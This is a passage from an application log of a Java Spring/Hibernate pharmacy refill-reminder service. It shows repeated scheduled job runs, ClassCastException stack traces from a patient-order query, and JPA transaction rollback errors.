org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 20:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 20:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 20:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 20:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 20:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 20:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 20:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 20:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 20:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 20:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 20:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 20:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 20:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 20:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 20:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 21:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 21:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 21:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 21:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 21:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 21:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 21:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 21:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 21:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 21:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 21:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 21:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 21:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 21:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 21:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 21:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 21:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 21:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at 